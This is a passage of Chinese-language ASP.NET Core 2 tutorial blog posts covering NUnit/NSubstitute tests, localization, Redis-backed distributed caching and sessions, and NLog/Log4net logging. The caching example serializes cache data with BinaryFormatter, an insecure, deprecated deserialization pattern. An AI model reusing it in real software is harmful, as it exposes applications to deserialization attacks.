被測試的目標會需要用到 Mock Framework,我慣用的 Mock Framework 是 NSubstitute,所以會以 NSubstitute 為 Mock 範例,安裝指令:

1
dotnet add MyWebsite.Tests package NSubstitute

在 MyWebsite.Tests 專案新增 Controllers\UserControllerTests.cs,測試案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using MyWebsite.Controllers;
using MyWebsite.Repositories;
using NSubstitute;
using NUnit.Framework;

namespace MyWebsite.Tests.Controllers
{
    public class UserControllerTests
    {
        private IRepository<UserModel, int> _fakeRepository;
        private UserController _target;

        [SetUp]
        public void SetUp()
        {
            _fakeRepository = Substitute.For<IRepository<UserModel, int>>();
            _target = new UserController(_fakeRepository);
        }

        [Test]
        public void SearchUser()
        {
            // Arrange
            var query = "test";
            var model = new UserModel { Id = 1 };
            _fakeRepository.Find(Arg.Any<Expression<Func<UserModel, bool>>>())
                .Returns(new List<UserModel> { model });

            // Act
            var actual = _target.Get(query);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void GetUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };
            _fakeRepository.FindById(Arg.Any<int>()).Returns(model);

            // Act
            var actual = _target.Get(model.Id);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void CreateUser()
        {
            // Arrange
            var model = new UserModel();

            // Act
            var actual = _target.Post(model);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void UpdateUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };

            // Act
            var actual = _target.Put(model.Id, model);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void DeleteUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };

            // Act
            var actual = _target.Delete(model.Id);

            // Assert
            //Assert.IsTrue(actual.IsSuccess);
            Assert.Fail();
        }
    }
}

測試結果如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 測試結果

Visual Studio Code

每次要測試都要打指令,顯得有點麻煩,而且透過指令執行顯示的測試結果,以純文字顯示也不怎麼好看。
VS Code 有測試專案用的擴充套件,可以直接在程式碼中看到那些測試案例成功或失敗。

打開 VS Code 在 Extensions 搜尋列輸入 test ,便可以找到 .NET Core Test Explorer 的擴充套件安裝。如下圖:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - .NET Core Test Explorer

安裝完成後在方案資料夾下的 .vscode\settings.json 新增 dotnet-test-explorer.testProjectPath 指定測試專案位置,如下:

.vscode\settings.json

1
2
3
{
    "dotnet-test-explorer.testProjectPath": "MyWebsite.Tests"
}

就可以透過 VS Code UI 執行單元測試,並且能在程式碼中看到那些測試案例成功或失敗。如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - .NET Core Test Explorer

參考

Unit Testing in .NET Core and .NET Standard

[鐵人賽 Day21] ASP.NET Core 2 系列 – 多國語言 (Localization)

全球化的網站不免都要做多國語言,ASP.NET Core 的多國語言設定方式跟 ASP.NET MVC 有很大的落差。
本篇將介紹 ASP.NET Core 多國語言 (Localization) 的設定方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day21] ASP.NET Core 2 系列 – 多國語言 (Localization)

建立多國語言檔

過去 ASP.NET 語系檔都是用 *.resx 格式,現在 ASP.NET Core 也是沿用此格式,但檔案結構確很不一樣。ASP.NET Core 語系檔命名規則必須要與類別的 namespace 階層相互對應。例如 Controllers、Views、Models 要用的語系檔跟類別對應如下:

  • Controllers\HomeController.cs 要用的 en-GB 語系檔名稱:
    • Resources\Controllers\HomeController.en-GB.resx
    • 或 Resources\Controllers.HomeController.en-GB.resx
  • Controllers\HomeController.cs 要用的 zh-TW 語系檔名稱:
    • Resources\Controllers\HomeController.zh-TW.resx
    • 或 Resources\Controllers.HomeController.zh-TW.resx
  • Views\Home\Index.cshtml 要用的 en-GB 語系檔名稱:
    • Resources\Views\Home\Index.en-GB.resx
    • 或 Resources\Views.Home.Index.en-GB.resx
  • Views\Home\Index.cshtml 要用的 zh-TW 語系檔名稱:
    • Resources\Views\Home\Index.zh-TW.resx
    • 或 Resources\Views.Home.Index.zh-TW.resx

多國語言檔建立規則跟 ASP.NET MVC 有很大的差別。

  • *.resx 檔案必須對應使用的路徑位置。
  • *.resx 檔案的語系帶在後綴。如:*.en-GB.resx

*.resx 語系檔內容大致如下:

Resources\Controllers.HomeController.en-GB.resx

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<root>
  <data name="Hello">
    <value>Hello~ This message from Resources\Controllers.HomeController.en-GB.resx</value>
  </data>
</root>

若以 Visual Studio IDE 開發 (如 Visual Studio 2017),可以從 UI 新增資源檔 *.resx。在網站目錄中建立 Resources 的資料夾,並新增資源檔 *.resx。如下:

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 新增資源檔 1

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 新增資源檔 2

註冊服務

ASP.NET Core 使用多國語言,需要 Microsoft.AspNetCore.Localization 套件。
在此範例中我還需要從 Routing 抓取語系的資訊,所以也需要 Microsoft.AspNetCore.Localization.Routing 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
2
dotnet add package Microsoft.AspNetCore.Localization
dotnet add package Microsoft.AspNetCore.Routing

ASP.NET Core 2.0 以上版本,預設是參考 Microsoft.AspNetCore.All,已經包含 Microsoft.AspNetCore.Localization 及 Microsoft.AspNetCore.Routing,所以不用再安裝。

在 Startup.ConfigureServices 註冊多國語言需要的服務,以及修改多國語的 Routing 方式。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Mvc.Razor;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddLocalization(options => options.ResourcesPath = "Resources");
            services.AddMvc()
                    .AddViewLocalization()
                    .AddDataAnnotationsLocalization();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.UseMvc(routes =>
            {
                routes.MapRoute(
                    name: "default",
                    template: "{culture=en-GB}/{controller=Home}/{action=Index}/{id?}"
                );
            });
        }
    }
}
  • AddLocalization
    主要的多國語言服務,ResourcesPath 是指定資源檔的目錄位置
  • AddViewLocalization
    為了在 cshtml 中使用多國語言,如果沒有需要在 View 中使用多國語言,可以不需要註冊它。
  • AddDataAnnotationsLocalization
    為了在 Model 中使用多國語言,如果沒有需要在 Model 中使用多國語言,可以不需要註冊它。
  • MapRoute
    在 Routing 中增加 culture 語系資訊,用來判斷多國語言。

    如果不想用 Routing 的方式,也可以改用 QueryString 帶入語系資訊。

Middleware

建立一個 CultureMiddleware 來包裝 Localization 的 Middleware,可以做支援語言的管理。

Middlewares\CultureMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Localization;
using Microsoft.AspNetCore.Localization.Routing;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;

namespace MyWebsite.Middlewares
{
    public class CultureMiddleware
    {
        private static readonly List<CultureInfo> _supportedCultures = new List<CultureInfo>
        {
            new CultureInfo("en-GB"),
            new CultureInfo("zh-TW")
        };

        private static readonly RequestLocalizationOptions _localizationOptions = new RequestLocalizationOptions()
        {
            DefaultRequestCulture = new RequestCulture(_supportedCultures.First()),
            SupportedCultures = _supportedCultures,
            SupportedUICultures = _supportedCultures,
            RequestCultureProviders = new[]
            {
                new RouteDataRequestCultureProvider() { Options = _localizationOptions }
            }
        };

        public void Configure(IApplicationBuilder app)
        {
            app.UseRequestLocalization(_localizationOptions);
        }
    }
}

每個 Requset 都會執行 RequestCultureProviders 中的 CultureProvider,用來判斷語系資訊,套用正確的資源檔。
Microsoft.AspNetCore.Localization 套件支援的 CultureProvider 有三種:

  • QueryStringRequestCultureProvider
    從 QueryString 判斷語系資訊。如:http://localhost:500/?culture=zh-TW
  • CookieRequestCultureProvider
    從 Cookie 判斷語系資訊。
  • AcceptLanguageHeaderRequestCultureProvider
    從 HTTP Header 判斷語系資訊。

而我是用 Routing 判斷語系資訊,以上三種都不合我用。
Routing 判斷語系可以用 Microsoft.AspNetCore.Localization.Routing 套件的 RouteDataRequestCultureProvider

把 CultureMiddleware 註冊在需要用到的 Controller 或 Action。如下:

Controllers\HomeController.cs

1
2
3
4
5
[MiddlewareFilter(typeof(CultureMiddleware))]
public class HomeController : Controller
{
    // ...
}

通常 ASP.NET Core 網站會伴隨著 API,API 不需要語系資訊,所以不建議註冊在全域。

套用多國語言

Controller

在 Controller 要使用多國語言的話,需要在建構子加入 IStringLocalizer 參數,執行期間會把 _localizer 的實體注入近來。
把 Resource Key 丟入 _localizer,就可以得到該語系的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System.Globalization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Localization;
using MyWebsite.Middlewares;

namespace MyWebsite
{
    [MiddlewareFilter(typeof(CultureMiddleware))]
    public class HomeController : Controller
    {
        private readonly IStringLocalizer _localizer;

        public HomeController(IStringLocalizer<HomeController> localizer)
        {
            _localizer = localizer;
        }

        public IActionResult Index()
        {
            return View();
        }

        public IActionResult Content()
        {
            return Content($"CurrentCulture: {CultureInfo.CurrentCulture.Name}\r\n"
                         + $"CurrentUICulture: {CultureInfo.CurrentUICulture.Name}\r\n"
                         + $"{_localizer["Hello"]}");
        }
    }
}

View

要在 cshtml 使用多國語言的話,要先在 Services 中加入 ViewLocalization
注入 IViewLocalizer,同上把 Resource Key 丟入 Localizer,就可以得到值。

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
@using System.Globalization
@using Microsoft.AspNetCore.Mvc.Localization

@inject IViewLocalizer localizer

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@localizer["Hello"]<br />

Model

要在 Model 使用多國語言的話,要先在 Services 中加入 DataAnnotationsLocalization

Models\SampleModel.cs

1
2
3
4
5
6
7
8
9
10
using System.ComponentModel.DataAnnotations;

namespace MyWebsite.Models
{
    public class SampleModel
    {
        [Display(Name = "Hello")]
        public string Content { get; set; }
    }
}

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
// ...
[MiddlewareFilter(typeof(CultureMiddleware))]
public class HomeController : Controller
{
    public IActionResult Index()
    {
        return View(model: new SampleModel());
    }
}

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
@using System.Globalization
@using MyWebsite.Models

@model SampleModel

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@Html.DisplayNameFor(m => m.Content)<br />

執行結果

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 範例執行結果

共用語系檔

ASP.NET Core 語系檔命名規則為了與 Controllers、Views、Models 相互對應,可能會產生一大堆檔案,造成維護上的困擾。 因此,可以利用 ASP.NET Core DI 的特性,建立一個共用的語系檔,再將該語系資訊注入至 DI 容器。

建立共用的語系檔 Resources\SharedResource.en-GB.resx,同時建立一個對應的 SharedResource.cs 檔案,內容如下:

Resources\SharedResource.en-GB.resx

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<root>
  <data name="Hello">
    <value>Hello~ This message from Resources\SharedResource.en-GB.resx</value>
  </data>
</root>

SharedResource.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using Microsoft.Extensions.Localization;

namespace MyWebsite
{
    public class SharedResource
    {
        private readonly IStringLocalizer _localizer;

        public SharedResource(IStringLocalizer<SharedResource> localizer)
        {
            _localizer = localizer;
        }
    }
}

Controller

IStringLocalizer 注入的型別改成 SharedResource,如下:

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System.Globalization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Localization;
using MyWebsite.Middlewares;
using MyWebsite.Models;

namespace MyWebsite
{
    [MiddlewareFilter(typeof(CultureMiddleware))]
    public class HomeController : Controller
    {
        private readonly IStringLocalizer _localizer;
        private readonly IStringLocalizer _sharedLocalizer;

        public HomeController(IStringLocalizer<HomeController> localizer,
            IStringLocalizer<SharedResource> sharedLocalizer)
        {
            _localizer = localizer;
            _sharedLocalizer = sharedLocalizer;
        }

        public IActionResult Index()
        {
            return View(model: new SampleModel());
        }

        public string Content()
        {
            return $"CurrentCulture: {CultureInfo.CurrentCulture.Name}\r\n"
                 + $"CurrentUICulture: {CultureInfo.CurrentUICulture.Name}\r\n"
                 + $"{_localizer["Hello"]}\r\n"
                 + $"{_sharedLocalizer["Hello"]}";
        }
    }
}

View

注入 IViewLocalizer 改成注入 IHtmlLocalizer,並指派型別,如下:

Views\Home\Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@using System.Globalization
@using Microsoft.AspNetCore.Mvc.Localization
@using MyWebsite.Models

@model SampleModel

@inject IViewLocalizer localizer
@inject IHtmlLocalizer<MyWebsite.SharedResource> sharedLocalizer

CurrentCulture: @CultureInfo.CurrentCulture.Name <br />
CurrentUICulture: @CultureInfo.CurrentUICulture.Name <br />
@localizer["Hello"]<br />
@Html.DisplayNameFor(m => m.Content)<br />
@sharedLocalizer["Hello"]<br />

執行結果

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 共用語系檔範例執行結果

參考

ASP.NET Core Globalization and localization

[鐵人賽 Day20] ASP.NET Core 2 系列 – 快取機制及 Redis Session

為了程式效率,通常會利用記憶體存取速度遠高於磁碟讀取的特性,把常用但不常變動資料放在記憶體中,提升取用資料的速度。ASP.NET Core 有提供好用的快取機制,不用自己實作控制資料的快取物件。
本篇將介紹 ASP.NET Core 的本機快取及分散式快取,並用使用分散式快取實作 Redis Session,避免 Web Application 重啟後,用戶要重新登入。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day20] ASP.NET Core 2 系列 – 快取機制及 Redis Session

本機快取

本機快取是比較基本的資料快取方式,將資料存在 Web Application 的記憶體中。
如果是單一站台架構,沒有要同步快取資料,用本機快取應該都能滿足需求。

使用本機快取的方式很簡單,只要在 Startup.ConfigureServices 呼叫 AddMemoryCache,就能透過注入 IMemoryCache使用本機快取。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMemoryCache();
        // ...
    }
    //...
}

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using Microsoft.Extensions.Caching.Memory;
//...
public class HomeController : Controller
{
    private static IMemoryCache _memoryCache;

    public HomeController(IMemoryCache memoryCache)
    {
        _memoryCache = memoryCache;
    }

    public IActionResult Index()
    {
        _memoryCache.Set("Sample", new UserModel()
        {
            Id = 1,
            Name = "John"
        });
        var model = _memoryCache.Get<UserModel>("Sample");
        return View(model);
    }
}

用 Get/Set 方法,就可以透過 Key 做為取值的識別,存放任何型別的資料。

分散式快取

當 ASP.NET Core 網站有橫向擴充,架設多個站台需求時,分散式快取就是一個很好的同步快取資料解決方案。
基本上就是 NoSQL 的概念,把分散式快取的資料位置,指向外部的儲存空間,如:SQL Server、Redis 等等。只要繼承 IDistributedCache,就可以被當作分散式快取的服務使用。

本機快取及分散式快取架構,如圖:

[鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - 本機快取及分散式快取架構

在 Startup.ConfigureServices 注入 IDistributedCache 使用分散式快取。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddDistributedMemoryCache();
        // ...
    }
    //...
}
  • AddDistributedMemoryCache
    是透過實作分散式快取的介面 IDistributedCache,將資料存於本機記憶體中。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using Microsoft.Extensions.Caching.Distributed;
//...
public class HomeController : Controller
{
    private static IDistributedCache _distributedCache;

    public HomeController(IDistributedCache distributedCache)
    {
        _distributedCache = distributedCache;
    }

    public IActionResult Index()
    {
        _distributedCache.Set("Sample", ObjectToByteArray(new UserModel()
        {
            Id = 1,
            Name = "John"
        }));
        var model = ByteArrayToObject<UserModel>(_distributedCache.Get("Sample"));
        return View(model);
    }

    private byte[] ObjectToByteArray(object obj)
    {
        var binaryFormatter = new BinaryFormatter();
        using (var memoryStream = new MemoryStream())
        {
            binaryFormatter.Serialize(memoryStream, obj);
            return memoryStream.ToArray();
        }
    }

    private T ByteArrayToObject<T>(byte[] bytes)
    {
        using (var memoryStream = new MemoryStream())
        {
            var binaryFormatter = new BinaryFormatter();
            memoryStream.Write(bytes, 0, bytes.Length);
            memoryStream.Seek(0, SeekOrigin.Begin);
            var obj = binaryFormatter.Deserialize(memoryStream);
            return (T)obj;
        }
    }
}

IDistributedCache 的 Get/Set 不像 IMemoryCache 可以存取任意型別,IDistributedCache 的 Get/Set 只能存取 byte[] 型別,如果要將物件存入分散式快取,就必須將物件轉換成 byte[] 型別,或轉成字串型別用 GetString/SetString 存取於分散式快取。

如果要將物件透過 MemoryStream 序列化,記得在物件加上 [Serializable]

Redis Session

[鐵人賽 Day11] ASP.NET Core 2 系列 – Cookies & Session 有用到 AddDistributedMemoryCache,由於 Session 的儲存位置是依賴分散式快取,但沒有外部分散式快取可用,所以用繼承 IDistributedCache 的本機分散式快取頂著。

安裝套件

如果要在 ASP.NET Core 中使用的 Redis Cache,可以安裝 Microsoft 提供的套件 Microsoft.Extensions.Caching.Redis.Core
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
dotnet add package Microsoft.Extensions.Caching.Redis.Core

設定 Redis Cache

安裝完成後,將 Startup.ConfigureServices 註冊的分散式快取服務,從 AddDistributedMemoryCache 改成 AddDistributedRedisCache。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        //services.AddDistributedMemoryCache();
        services.AddDistributedRedisCache(options =>
            {
                // Redis Server 的 IP 跟 Port
                options.Configuration = "192.168.99.100:6379";
            });
        // ...
    }
    //...
}

這樣就完成將分散式快取指向 Redis Cache,Session 的註冊方式同 [Day11]
只要設定 AddDistributedRedisCache 就可以使用 Redis Session 了,輕鬆簡單。

ASP.NET MVC 比較

ASP.NET Core 的 Redis Session 跟 ASP.NET MVC 普遍用的 StackExchange.Redis 的運行方式有很大的差異。

  • ASP.NET MVC Redis Session
    StackExchange.Redis 在使用 Redis 時,是把 Website 的 Session 備份到 Redis,讀取還是在 Website 的記憶體,寫入的話會再度備份到 Redis。
    也就是說 Session 會存在於 Website 及 Redis Cache 中,HA 的概念。
    可以試著把 Redis Cache 中 Session 清掉,當使用者下一個 Requset 來的時候,又會重新出現在 Redis Cache 中。
    運行方式如下圖:
    [鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - ASP.NET MVC - Redis Session 運行方式
  • ASP.NET Core Redis Session
    IDistributedCache 運做方式變成 Session 直接在 Redis Cache 存取,如果把 Redis Cache 中 Session 清掉,當使用者下一個 Requset 來的時候,就會發現 Session 被清空了。
    運行方式如下圖:
    [鐵人賽 Day20] ASP.NET Core 2 系列 - 快取機制及 Redis Session - ASP.NET Core - Redis Session 運行方式

參考

In-memory caching in ASP.NET Core
Working with a distributed cache in ASP.NET Core

[鐵人賽 Day19] ASP.NET Core 2 系列 – NLog & Log4net

ASP.NET Core 提供的 Logging API,不僅可以方便調用 Logger,且支援多種 Log 輸出,也能把 Log 發送到多個地方,並支援第三方的 Logging Framework 套件。
本篇將介紹 ASP.NET Core 的 Logging 搭配第三方 Logging Framework 套件,NLog 及 Log4net 的範例。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day19] ASP.NET Core 2 系列 – NLog & Log4net

NLog

NLog 是 .NET 的熱門 Logging Framework;而且還是 ASP.NET Core 官方第三方 Logging Framework 推薦名單之一。

安裝套件

ASP.NET Core 使用 NLog 需要安裝 NLog 及 NLog.Web.AspNetCore 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
2
dotnet add package NLog -v 4.5.0-rc02
dotnet add package NLog.Web.AspNetCore -v 4.5.0-rc2

.NET Core 的版本目前還是 RC 版。

組態設定檔

新增一個 nlog.config 的檔案如下:

nlog.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8" ?>
<nlog 
  xmlns="http://www.nlog-project.org/schemas/NLog.xsd" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  autoReload="true" 
  internalLogLevel="info" 
  internalLogFile="C:\Logs\MyWebsite\nlog-internal.txt">
  <targets>
    <!-- write logs to file  -->
    <target xsi:type="File" name="ALL" 
      fileName="C:\Logs\MyWebsite\nlog-all_${shortdate}.log" 
      layout="${longdate}|${event-properties:item=EventId.Id}|${uppercase:${level}}|${logger}|${message} ${exception}" />
  </targets>
  <rules>
    <logger name="*" minlevel="Trace" writeTo="ALL" />
  </rules>
</nlog>

NLog 組態設定可以參考:NLog Configuration file

在 Program.Main 啟動時載入 NLog 組態設定檔,並在 WebHost Builder 注入 NLog 服務。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;
using NLog.Web;

namespace MyWebsite
{
    public class Program
    {
        public static void Main(string[] args)
        {
            NLogBuilder.ConfigureNLog("nlog.config").GetCurrentClassLogger();
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .UseNLog()
                .Build();
        }
    }
}

Log 輸出範例延續前篇[鐵人賽 Day18] ASP.NET Core 2 系列 – Logging
以下 Log 輸出都是以前篇的 Home.Index() 做為範例。

輸出結果如下:

C:\Logs\MyWebsite\nlog-all_2018-01-07.log

1
2
3
4
5
6
7
8
9
10
2018-01-07 00:27:32.6339||INFO|Microsoft.AspNetCore.DataProtection.KeyManagement.XmlKeyManager|User profile is available. Using 'C:\Users\john.wu\AppData\Local\ASP.NET\DataProtection-Keys' as key repository and Windows DPAPI to encrypt keys at rest. 
2018-01-07 00:27:33.1149||INFO|Microsoft.AspNetCore.Hosting.Internal.WebHost|Request starting HTTP/1.1 GET http://localhost:5000/   
2018-01-07 00:27:33.1969||INFO|Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker|Executing action method MyWebsite.HomeController.Index (MyWebsite) with arguments ((null)) - ModelState is Valid 
2018-01-07 00:27:33.1999||INFO|MyWebsite.HomeController|This information log from Home.Index() 
2018-01-07 00:27:33.1999||WARN|MyWebsite.HomeController|This warning log from Home.Index() 
2018-01-07 00:27:33.1999||ERROR|MyWebsite.HomeController|This error log from Home.Index() 
2018-01-07 00:27:33.1999||FATAL|MyWebsite.HomeController|This critical log from Home.Index() 
2018-01-07 00:27:33.2219||INFO|Microsoft.AspNetCore.Mvc.Internal.ObjectResultExecutor|Executing ObjectResult, writing value Microsoft.AspNetCore.Mvc.ControllerContext. 
2018-01-07 00:27:33.2459||INFO|Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker|Executed action MyWebsite.HomeController.Index (MyWebsite) in 56.8935ms 
2018-01-07 00:27:33.2519||INFO|Microsoft.AspNetCore.Hosting.Internal.WebHost|Request finished in 137.5115ms 200 text/plain; charset=utf-8

安裝完套件後,只要加一個設定檔及兩行程式碼就完成,可說是非常的友善使用。

Log4net

從網路上各方訊息看來,Log4net 應該是 .NET 最熱門的 Logging Framework,我個人也是習慣用 Log4net。

安裝套件

.NET Core 使用 Log4net 需要安裝 log4net 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
dotnet add package log4net

組態設定檔

新增一個 log4net.config 的檔案如下:

log4net.config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <log4net>
    <appender name="All" type="log4net.Appender.RollingFileAppender">
      <file value="C:\Logs\MyWebsite\log4net-all" />
      <appendToFile value="true" />
      <rollingStyle value="Composite" />
      <datePattern value="_yyyy-MM-dd.lo\g" />
      <maximumFileSize value="5MB" />
      <maxSizeRollBackups value="15" />
      <staticLogFileName value="false" />
      <PreserveLogFileNameExtension value="true" />
      <layout type="log4net.Layout.PatternLayout">
        <conversionPattern value="%date [%thread] %level %logger - %message%newline" />
      </layout>
    </appender>
    <root>
      <appender-ref ref="All" />
    </root>
  </log4net>
</configuration>

Log4net 組態設定可以參考:Apache log4net Manual – Configuration

在 Program.Main 啟動時載入 Log4net 組態設定檔。

Program.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
using System.IO;
using System.Reflection;
using log4net;
using log4net.Config;
using Microsoft.AspNetCore;
using Microsoft.AspNetCore.Hosting;

namespace MyWebsite
{
    public class Program
    {
        private readonly static ILog _log = LogManager.GetLogger(typeof(Program));

        public static void Main(string[] args)
        {
            LoadLog4netConfig();
            _log.Info("Application Start");
            BuildWebHost(args).Run();
        }

        public static IWebHost BuildWebHost(string[] args)
        {
            return WebHost.CreateDefaultBuilder(args)
                .UseStartup<Startup>()
                .Build();
        }

        private static void LoadLog4netConfig()
        {
            var repository = LogManager.CreateRepository(
                    Assembly.GetEntryAssembly(),
                    typeof(log4net.Repository.Hierarchy.Hierarchy)
                );
            XmlConfigurator.Configure(repository, new FileInfo("log4net.config"));
        }
    }
}

載入 Log4net 組態設定後,就可以直接操作 _log 物件寫 Log,用法就跟過去 .NET Framework 一樣。
但 Log4net 沒有實作 ASP.NET Core 的 Logging API,所以沒辦法透過注入 ILogger 寫 Log4net 的 Log。

難怪 ASP.NET Core 官方不推 Log4net…

ILogger

既然 Log4net 沒有實作 ILogger,就自己做吧!
建立一個 Log4netLogger.cs,內容如下:

Log4netLogger.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
using System;
using System.IO;
using System.Reflection;
using log4net;
using log4net.Config;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Log4netLogger : ILogger
    {
        private readonly ILog _log;

        public Log4netLogger(string name, FileInfo fileInfo)
        {
            var repository = LogManager.CreateRepository(
                    Assembly.GetEntryAssembly(),
                    typeof(log4net.Repository.Hierarchy.Hierarchy)
                );
            XmlConfigurator.Configure(repository, fileInfo);
            _log = LogManager.GetLogger(repository.Name, name);
        }

        public IDisposable BeginScope<TState>(TState state)
        {
            return null;
        }

        public bool IsEnabled(LogLevel logLevel)
        {
            switch (logLevel)
            {
                case LogLevel.Critical: return _log.IsFatalEnabled;
                case LogLevel.Debug:
                case LogLevel.Trace: return _log.IsDebugEnabled;
                case LogLevel.Error: return _log.IsErrorEnabled;
                case LogLevel.Information: return _log.IsInfoEnabled;
                case LogLevel.Warning: return _log.IsWarnEnabled;
                default: 
                    throw new ArgumentOutOfRangeException(nameof(logLevel));
            }
        }

        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state,
            Exception exception, Func<TState, Exception, string> formatter)
        {
            if (!IsEnabled(logLevel))
            {
                return;
            }
            if (formatter == null)
            {
                throw new ArgumentNullException(nameof(formatter));
            }
            string message = null;
            if (null != formatter)
            {
                message = formatter(state, exception);
            }
            if (!string.IsNullOrEmpty(message) || exception != null)
            {
                switch (logLevel)
                {
                    case LogLevel.Critical: _log.Fatal(message); break;
                    case LogLevel.Debug:
                    case LogLevel.Trace: _log.Debug(message); break;
                    case LogLevel.Error: _log.Error(message); break;
                    case LogLevel.Information: _log.Info(message); break;
                    case LogLevel.Warning: _log.Warn(message); break;
                    default: 
                        _log.Warn($"Unknown log level {logLevel}.\r\n{message}"); 
                        break;
                }
            }
        }
    }
}

由於 Log4net 的 Log Level 跟 ASP.NET Core Logger API 的級別不一致,所以要將 Log Level 的事件做相對的對應。

ILoggerProvider。

ILogger 主要是透過 Logger Provider 產生,所以需要實作 ILoggerProvider
建立一個 Log4netProvider.cs,內容如下:

Log4netProvider.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
using System.IO;
using Microsoft.Extensions.Logging;

namespace MyWebsite
{
    public class Log4netProvider : ILoggerProvider
    {
        private readonly FileInfo _fileInfo;

        public Log4netProvider(string log4netConfigFile)
        {
            _fileInfo = new FileInfo(log4netConfigFile);
        }

        public ILogger CreateLogger(string name)
        {
            return new Log4netLogger(name, _fileInfo);
        }

        public void Dispose()
        {
        }
    }
}

